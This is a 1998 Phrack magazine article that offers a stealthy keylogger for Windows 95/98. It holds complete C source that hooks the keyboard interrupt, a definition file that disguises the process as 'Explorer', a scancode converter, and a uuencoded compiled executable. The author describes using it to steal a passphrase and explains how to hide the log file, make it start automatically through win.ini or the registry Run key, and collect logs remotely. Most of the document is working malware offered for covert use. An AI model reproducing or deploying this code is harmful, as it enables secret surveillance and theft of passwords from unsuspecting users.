Title : A Stealthy Windows Keylogger
Author : markj8
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 07 of 15
-------------------------[ A Stealthy Windows Keylogger
--------[ markj8@usa.net
I recently felt the need to acquire some data being typed into Windows95
machines on a small TCP-IP network. I had occasional physical access to the
machines and I knew the remote administration password, but the files were
being saved in BestCryptNP volumes, the passphrase for which I didn't know...
I searched the Net as best I could for a suitable keylogging program that
would allow me to capture the passphrase without being noticed, but all I
could find was I big boggy thing written in visual basic that insisted on
opening a window. I decided to write my own. I wanted to write it as a VXD
because they run at Privilege Level 0 and can do just about ANYTHING. I soon
gave up on this idea because I couldn't acquire the correct tools and certainly
couldn't afford to buy them.
While browsing through the computer section of my local public library one
day I noticed a rather thin book called "WINDOWS ASSEMBLY LANGUAGE and SYSTEMS
PROGRAMMING" by Barry Kauler, (ISBN 0 13 020207 X) c 1993. A quick flick
through the Table of Contents revealed "Chapter 10: Real-Time Events, Enhanced
Mode Hardware Interrupts". I immediately borrowed the book and photocopied
it (Sorry about the royalties Barry). As I read chapter 10 I realized that
all I needed was a small 16 bit Windows program running as a normal user
process to capture every keystroke typed into windows. The only caveat was
that keystrokes typed into DOS boxes wouldn't be captured. Big deal. I could
live without that. I was stunned to discover that all user programs in Windows
share a single Interrupt Descriptor Table (IDT). This implies that if one
user program patches a vector in the IDT, then all other programs are
immediately affected.
The only tool I had for generating windows executables was Borland C Ver
2.0 which makes small and cute windows 3.0 EXE's, so that's what I used. I
have tested it on Windows for Workgroups 3.11, Windows 95 OSR2, and Windows 98
beta 3. It will probably work on Windows 3.x as well.
As supplied, it will create a hidden file in the \WINDOWS\SYSTEM directory
called POWERX.DLL and record all keystrokes into it using the same encoding
scheme as Doc Cypher's KEYTRAP3.COM program for DOS. This means that you can
use the same conversion program, CONVERT3.C, to convert the raw scancodes in
the log file to readable ASCII. I have included a slightly "improved" version
of CONVERT3.C with a couple of bugs fixed. I contemplated incorporating the
functionality of CONVERT3 into W95Klog, but decided that logging scancodes
was "safer" that logging plain ASCII. If the log file is larger that 2
megabytes when the program starts, it will be deleted and re-created with
length zero. When you press CTRL-ALT-DEL (in windows95/98) to look at the
Task List, W95Klog will show up as "Explorer". You can change this by editing
the .DEF file and recompiling, or by HEX Editing the .EXE file. If anyone
knows how to stop a user program from showing on this list please tell me.
To cause the target machine to run W95Klog every time it starts Windows
you can:
1) Edit win.ini, [windows] section to say run=WHLPFFS.EXE or some such
confusing name :) Warning! This will cause a nasty error message if
WHLPFFS.EXE can't be found. This method has the advantage of being able to be
performed over the network via "remote administration" without the need for
both computers to be running "remote registry service".
2) Edit the registry key: (Win95/98)
`HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run` and create
a new key called whatever you like with a string value of "WHLPFFS.EXE" or
whatever. This is my preferred method because it is less likely to be stumbled
upon by the average user and windows continues without complaint if the
executable can't be found. The log file can be retrieved via the network even
when it is still open for writing by the logging program. This is very
convenient ;).
<++> EX/win95log/convert.c
//
// Convert v3.0
// Keytrap logfile converter.
// By dcypher <dcypher@mhv.net>
// MSVC++1.52 (Or Borland C 1.01, 2.0 ...)
// Released: 8/8/95
//
// Scancodes above 185(0xB9) are converted to "<UK>", UnKnown.
//
#include <stdio.h>
#define MAXKEYS 256
#define WS 128
const char *keys[MAXKEYS];
void main(int argc,char *argv[])
{
FILE *stream1;
FILE *stream2;
unsigned int Ldata,Nconvert=0,Yconvert=0;
char logf_name[100],outf_name[100];
//
// HERE ARE THE KEY ASSIGNMENTS !!
//
// You can change them to anything you want.
// If any of the key assignments are wrong, please let
// me know. I havn't checked all of them, but it looks ok.
//
// v--- Scancodes logged by the keytrap TSR
// v--- Converted to the string here
keys[1] = "<uk>";
keys[2] = "1";
keys[3] = "2";
keys[4] = "3";
keys[5] = "4";
keys[6] = "5";
keys[7] = "6";
keys[8] = "7";
keys[9] = "8";
keys[10] = "9";
keys[11] = "0";
keys[12] = "-";
keys[13] = "=";
keys[14] = "<bsp>";
keys[15] = "<tab>";
keys[16] = "q";
keys[17] = "w";
keys[18] = "e";
keys[19] = "r";
keys[20] = "t";
keys[21] = "y";
keys[22] = "u";
keys[23] = "i";
keys[24] = "o";
keys[25] = "p";
keys[26] = "["; /* = ^Z Choke! */
keys[27] = "]";
keys[28] = "<ret>";
keys[29] = "<ctrl>";
keys[30] = "a";
keys[31] = "s";
keys[32] = "d";
keys[33] = "f";
keys[34] = "g";
keys[35] = "h";
keys[36] = "j";
keys[37] = "k";
keys[38] = "l";
keys[39] = ";";
keys[40] = "'";
keys[41] = "`";
keys[42] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
keys[43] = "\\"; // and not converted
keys[44] = "z";
keys[45] = "x";
keys[46] = "c";
keys[47] = "v";
keys[48] = "b";
keys[49] = "n";
keys[50] = "m";
keys[51] = ",";
keys[52] = ".";
keys[53] = "/";
keys[54] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
keys[55] = "*"; // and not converted
keys[56] = "<alt>";
keys[57] = " ";
// now show with shift key
// the TSR adds 128 to the scancode to show shift/caps
keys[1+WS] = "["; /* was "<unknown>" but now fixes ^Z problem */
keys[2+WS] = "!";
keys[3+WS] = "@";
keys[4+WS] = "#";
keys[5+WS] = "$";
keys[6+WS] = "%";
keys[7+WS] = "^";
keys[8+WS] = "&";
keys[9+WS] = "*";
keys[10+WS] = "(";
keys[11+WS] = ")";
keys[12+WS] = "_";
keys[13+WS] = "+";
keys[14+WS] = "<shift+bsp>";
keys[15+WS] = "<shift+tab>";
keys[16+WS] = "Q";
keys[17+WS] = "W";
keys[18+WS] = "E";
keys[19+WS] = "R";
keys[20+WS] = "T";
keys[21+WS] = "Y";
keys[22+WS] = "U";
keys[23+WS] = "I";
keys[24+WS] = "O";
keys[25+WS] = "P";
keys[26+WS] = "{";
keys[27+WS] = "}";
keys[28+WS] = "<shift+ret>";
keys[29+WS] = "<shift+ctrl>";
keys[30+WS] = "A";
keys[31+WS] = "S";
keys[32+WS] = "D";
keys[33+WS] = "F";
keys[34+WS] = "G";
keys[35+WS] = "H";
keys[36+WS] = "J";
keys[37+WS] = "K";
keys[38+WS] = "L";
keys[39+WS] = ":";
keys[40+WS] = "\"";
keys[41+WS] = "~";
keys[42+WS] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
keys[43+WS] = "|"; // and not converted
keys[44+WS] = "Z";
keys[45+WS] = "X";
keys[46+WS] = "C";
keys[47+WS] = "V";
keys[48+WS] = "B";
keys[49+WS] = "N";
keys[50+WS] = "M";
keys[51+WS] = "<";
keys[52+WS] = ">";
keys[53+WS] = "?";
keys[54+WS] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
keys[55+WS] = "<shift+*>"; // and not converted
keys[56+WS] = "<shift+alt>";
keys[57+WS] = " ";
printf("\n");
printf("Convert v3.0\n");
// printf("Keytrap logfile converter.\n");
// printf("By dcypher <dcypher@mhv.net>\n\n");
printf("Usage: CONVERT infile outfile\n");
printf("\n");
if (argc==3)
{
strcpy(logf_name,argv[1]);
strcpy(outf_name,argv[2]);
}
else
{
printf("Enter infile name: ");
scanf("%99s",&logf_name);
printf("Enter outfile name: ");
scanf("%99s",&outf_name);
printf("\n");
}
stream1=fopen(logf_name,"rb");
stream2=fopen(outf_name,"a+b");
if (stream1==NULL || stream2==NULL)
{
if (stream1==NULL)
printf("Error opening: %s\n\a",logf_name);
else
printf("Error opening: %s\n\a",outf_name);
}
else
{
fseek(stream1,0L,SEEK_SET);
printf("Reading data from: %s\n",logf_name);
printf("Appending information to..: %s\n",outf_name);
while (feof(stream1)==0)
{
Ldata=fgetc(stream1);
if (Ldata>0
&& Ldata<186)
{
if (Ldata==28 || Ldata==28+WS)
{
fputs(keys[Ldata],stream2);
fputc(0x0A,stream2);
fputc(0x0D,stream2);
Yconvert++;
}
else
fputs(keys[Ldata],stream2);
Yconvert++;
}
else
{
fputs("<UK>",stream2);
Nconvert++;
}
}
}
fflush(stream2);
printf("\n\n");
printf("Data converted....: %i\n",Yconvert);
printf("Data not converted: %i\n",Nconvert);
printf("\n");
printf("Closeing infile: %s\n",logf_name);
printf("Closeing outfile: %s\n",outf_name);
fclose(stream1);
fclose(stream2);
}
<-->
<++> EX/win95log/W95Klog.c
/*
* W95Klog.C Windows stealthy keylogging program
*/
/*
* This will ONLY compile with BORLANDC V2.0 small model.
* For other compilers you will have to change newint9()
* and who knows what else :)
*
* Captures ALL interesting keystrokes from WINDOWS applications
* but NOT from DOS boxes.
* Tested OK on WFW 3.11, Win95 OSR2 and Win98 Beta 3.
*/
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
//#define LOGFILE "~473C96.TMP" //Name of log file in WINDOWS\TEMP
#define LOGFILE "POWERX.DLL" //Name of log file in WINDOWS\SYSTEM
#define LOGMAXSIZE 2097152 //Max size of log file (2Megs)
#define HIDDEN 2
#define SEEK_END 2
#define NEWVECT 018h // "Unused" int that is used to call old
// int 9 keyboard routine.
// Was used for ROMBASIC on XT's
// Change it if you get a conflict with some
// very odd program. Try 0f9h.
/************* Global Variables in DATA SEGment ****************/
HWND hwnd; // used by newint9()
unsigned int offsetint; // old int 9 offset
unsigned int selectorint; // old int 9 selector
unsigned char scancode; // scan code from keyboard
//WndProc
char sLogPath[160];
int hLogFile;
long lLogPos;
char sLogBuf[10];
//WinMain
char szAppName[]="Explorer";
MSG msg;
WNDCLASS wndclass;
/***************************************************************/
//
//__________________________
void interrupt newint9(void) //This is the new int 9 (keyboard) code
// It is a hardware Interrupt Service Routine. (ISR)
{
scancode=inportb(0x60);
if((scancode<0x40)&&(scancode!=0x2a)) {
if(peekb(0x0040, 0x0017)&0x40) { //if CAPSLOCK is active
// Now we have to flip UPPER/lower state of A-Z only! 16-25,30-38,44-50
if(((scancode>15)&&(scancode<26))||((scancode>29)&&(scancode<39))||
((scancode>43)&&(scancode<51))) //Phew!
scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program
}//if CAPSLOCK
if(peekb(0x0040, 0x0017)&3) //if any shift key is pressed...
scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program
if(scancode==26) //Nasty ^Z bug in convert program
scancode=129; //New code for "["
//Unlike other Windows functions, an application may call PostMessage
// at the hardwareinterrupt level. (Thankyou Micr$oft!)
PostMessage(hwnd, WM_USER, scancode, 0L); //Send scancode to WndProc()
}//if scancode in range
asm { //This is very compiler specific, & kinda ugly!
pop bp
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
int NEWVECT // Call the original int 9 Keyboard routine
iret // and return from interrupt
}
}//end newint9
//This is the "callback" function that handles all messages to our "window"
//_____________________________________________________________________
long FAR PASCAL WndProc(HWND hwnd,WORD message,WORD wParam,LONG lParam)
{
//asm int 3; //For Soft-ice debugging
//asm int 18h; //For Soft-ice debugging
switch(message) {
case WM_CREATE: // hook the keyboard hardware interupt
asm {
pusha
push es
push ds
// Now get the old INT 9 vector and save it...
mov al,9
mov ah,35h // into ES:BX
int 21h
push es
pop ax
mov offsetint,bx // save old vector in data segment
mov selectorint,ax // /
mov dx,OFFSET newint9 // This is an OFFSET in the CODE segment
push cs
pop ds // New vector in DS:DX
mov al,9
mov ah,25h
int 21h // Set new int 9 vector
pop ds // get data seg for this program
push ds
// now hook unused vector
// to call old int 9 routine
mov dx,offsetint
mov ax,selectorint
mov ds,ax
mov ah,25h
mov al,NEWVECT
int 21h
// Installation now finished
pop ds
pop es
popa
} // end of asm
//Get path to WINDOWS directory
if(GetWindowsDirectory(sLogPath,150)==0) return 0;
//Put LOGFILE on end of path
strcat(sLogPath,"\\SYSTEM\\");
strcat(sLogPath,LOGFILE);
do {
// See if LOGFILE exists
hLogFile=_lopen(sLogPath,OF_READ);
if(hLogFile==-1) { // We have to Create it
hLogFile=_lcreat(sLogPath,HIDDEN);
if(hLogFile==-1) return 0; //Die quietly if can't create LOGFILE
}
_lclose(hLogFile);
// Now it exists and (hopefully) is hidden....
hLogFile=_lopen(sLogPath,OF_READWRITE); //Open for business!
if(hLogFile==-1) return 0; //Die quietly if can't open LOGFILE
lLogPos=_llseek(hLogFile,0L,SEEK_END); //Seek to the end of the file
if(lLogPos==-1) return 0; //Die quietly if can't seek to end
if(lLogPos>LOGMAXSIZE) { //Let's not fill the harddrive...
_lclose(hLogFile);
_chmod(sLogPath,1,0);
if(unlink(sLogPath)) return 0; //delete or die
}//if file too big
} while(lLogPos>LOGMAXSIZE);
break;
case WM_USER: // A scan code....
*sLogBuf=(char)wParam;
_write(hLogFile,sLogBuf,1);
break;
case WM_ENDSESSION: // Is windows "restarting" ?
case WM_DESTROY: // Or are we being killed ?
asm{
push dx
push ds
mov dx,offsetint
mov ds,selectorint
mov ax,2509h
int 21h //point int 09 vector back to old
pop ds
pop dx
}
_lclose(hLogFile);
PostQuitMessage(0);
return(0);
} //end switch
//This handles all the messages that we don't want to know about
return DefWindowProc(hwnd,message,wParam,lParam);
}//end WndProc
/**********************************************************/
int PASCAL WinMain (HANDLE hInstance, HANDLE hPrevInstance,
LPSTR lpszCmdParam, int nCmdShow)
{
if (!hPrevInstance) { //If there is no previous instance running...
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = WndProc; //function that handles messages
// for this window class
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = NULL;
wndclass.hCursor = NULL;
wndclass.hbrBackground = NULL;
wndclass.lpszClassName = szAppName;
RegisterClass (&wndclass);
hwnd = CreateWindow(szAppName, //Create a window
szAppName, //window caption
WS_OVERLAPPEDWINDOW, //window style
CW_USEDEFAULT, //initial x position
CW_USEDEFAULT, //initial y position
CW_USEDEFAULT, //initial x size
CW_USEDEFAULT, //initial y size
NULL, //parent window handle
NULL, //Window Menu handle
hInstance, //program instance handle
NULL); //creation parameters
//ShowWindow(hwnd,nCmdShow); //We don't want no
//UpdateWindow(hwnd); // stinking window!
while (GetMessage(&msg,NULL,0,0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}//if no previous instance of this program is running...
return msg.wParam; //Program terminates here after falling out
} //End of WinMain of the while() loop.
<-->
<++> EX/win95log/W95KLOG.DEF
;NAME is what shows in CTRL-ALT-DEL Task list... hmmmm
NAME Explorer
DESCRIPTION 'Explorer'
EXETYPE WINDOWS
CODE PRELOAD FIXED
DATA PRELOAD FIXED SHARED
HEAPSIZE 2048
STACKSIZE 8096
<-->
<++> EX/win95log/W95KLOG.EXE.uue
begin 600 W95KLOG.EXE
M35H"`08````$``\`__\``+@`````````0```````````````````````````
M````````````````````D````+H0``X?M`G-(;@!3,TAD)!4:&ES('!R;V=R
M86T@;75S="!B92!R=6X@=6YD97(@36EC<F]S;V9T(%=I;F1O=W,N#0HD````
M````````````3D4%"FT``@```````@,"```(H!\```$````"``(``@`,`$``
M4`!0`%P`8`#_```````)`````@@!``<``````P(`U05`#=4%!@`F`F$,)@((
M17AP;&]R97(````!``@```9+15).14P$55-%4@``"$5X<&QO<F5R````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````````)K__P``"\!U`^G$
M`(P&%@")'AP`B38:`(D^&`")%AX`N/__4)K__P``,\`>![\"`;DF`BO/_/.J
M,\!0FO__``#_-A@`FO__```+P'4#Z8``M`#-&HD6(`")#B(`M##-(:,D`)K_
M_P``J0$`=`;'!A(`"`#WP@0`=`;'!A0``0",V([`O@(!OP(!Z$X`_S88`/\V
M&@#_-A8`_S8<`/\V'@#H(0-0Z-`#C-B.P+X"`;\"`>AG`/\6<@#_%G0`_Q9V
M`+C__U":__\``(I&`K1,S2&P_U#HH0.T3,TAM/^+UXO>.]]T%R:`/_]T#"8X
M9P%W!B:*9P&+TX/#!NOE.]=T&XO:)H`_`";&!_\&=`<F_U\"!^O')O]7`@?K
MP,.T`(O7B]X[WW07)H`__W0,)CAG`7(&)HIG`8O3@\,&Z^4[UW0;B]HF@#\`
M)L8'_P9T!R;_7P('Z\<F_U<"!^O`PU!345(&'E975;W__X[=B^RZ8`#LHC(!
M@#XR`4!S=X`^,@$J='"X0`".P";V!A<`0'0O@#XR`0]V!X`^,@$:<AR`/C(!
M'78'@#XR`2=R#H`^,@$K=@R`/C(!,W,%@#8R`8"X0`".P";V!A<``W0%@#8R
M`8"`/C(!&G4%Q@8R`8'_-A0!:``$H#(!M`!0:@!J`)K__P``75]>'P=:65M8
MS1C/75]>'P=:65M8SXS8D$55B^P>CMA6BW8,B\8]%@!U`^EE`7<0/0$`=!8]
M`@!U`^E6`>EZ`3T`!'4#Z30!Z6\!8`8>L`FT-<TA!EB)'C`!H^0!NO__#A^P
M";0ES2$?'HL6,`&AY`&.V+0EL!C-(1\'81YH1`%HE@":__\```O`=0<STC/`
MZ3D!:%T`:$0!Z+("@\0$:&8`:$0!Z*8"@\0$'FA$`6H`FO__``"C.`&#/C@!
M_W4<'FA$`6H"FO__``"C.`&#/C@!_W4',](SP.GP`/\V.`&:__\``!YH1`%J
M`IK__P``HS@!@SXX`?]U!S/2,\#IRP#_-C@!:@!J`&H"FO__``")%C8!HS0!
M@SXV`?]U#H,^-`'_=0<STC/`Z:``@SXV`2!\,7\'@SXT`0!V*/\V.`&:__\`
M`&H`:@%H1`'H?@&#Q`9H1`'H+P)$1`O`=`8STC/`ZVB#/C8!('X#Z3W_=4J#
M/C0!`'8#Z3'_ZSZ*1@JB.@%J`6@Z`?\V.`'H#P*#Q`;K)U(>BQ8P`8X>Y`&X
M"27-(1]:_S8X`9K__P``:@":__\``#/2,\#K$O]V#E;_=@K_=@C_=@::__\`
M`%X?74W*"@!5B^Q6BW8,@WX*`'0#Z98`QP86`0,`C`X:`<<&&`'__\<&'`$`
M`,<&'@$``(DV(`''!B(!``#'!B0!``#'!B8!``",'BX!QP8L`50`'F@6`9K_
M_P``'FA4`!YH5`!HSP!J`&@`@&@`@&@`@&@`@&H`:@!6:@!J`)K__P``HQ0!
MZQ(>:`(!FO__```>:`(!FO__```>:`(!:@!J`&H`FO__```+P'7;H08!7EW"
M"@!5B^Q=PU6+[.L*BQYX`-'C_Y?F`:%X`/\.>``+P'7K_W8$Z!#\65W#58OL
M@SYX`"!U!;@!`.L3BQYX`-'CBT8$B8?F`?\&>``SP%W#58OLBTX(M$.*1@:+
M5@3-(7(#D>L$4.@"`%W#58OL5HMV!`OV?!6#_EA^`[Y7`(DVH@"*A*0`F(OP
MZQ&+QO?8B_"#_B-_Y<<&H@#__XDV$`"X__]>7<("`%6+[(M>!-'C@:=Z`/_]
MM$**1@J+7@2+3@B+5@;-(7("ZP50Z)W_F5W#58OL5E?\BWX$'@>+US+`N?__
M\JZ-=?^+?@:Y___RKO?1*_F']_?&`0!T`J1)T>GSI7,!I))?7EW#58OLM$&+
M5@3-(7($,\#K!%#H3?]=PU6+[(M>!-'C]X=Z```(=!.X`@!0,\`STE!2_W8$
MZ&C_@\0(M$"+7@2+3@B+5@;-(7(/4(M>!-'C@8]Z```06.L$4.@&_UW#&0`#
M`0$``0!;``,!)0`!`!<``P$\``$`'@`#`44``@`%``,!9``!`(0``P'%``$`
M&``#`6($`@!L``,!4P0"`'(``P%*!`(`<0`#`3P$`@`I``,!%00"`#D`!0#B
M`P$`!P(#`;D#`@!K``,!H0,"``8``P&:`P$`40`#`3(#`0!1``,!_0(!`%0`
M`P'=`@$`50`#`=("`0!1``,!N`(!`%,``P&C`@$`50`#`74"`0"&``4`3P(!
M`%P!`P'M`0(`;@`"`&8!`@!4````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````#"X`17AP;&]R97(`7%-94U1%35P`4$]715)8+D1,3```<@1R!'($```!
M(`(@`B`$H`*@________________________________________````$P("
M!`4&"`@(%!4%$_\6!1$"_________________P4%____________________
M_P__(P+_#_____\3__\"`@4/`O___Q/__________R/_____(_\3_P``````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
!````
`
end
<-->
----[ EOF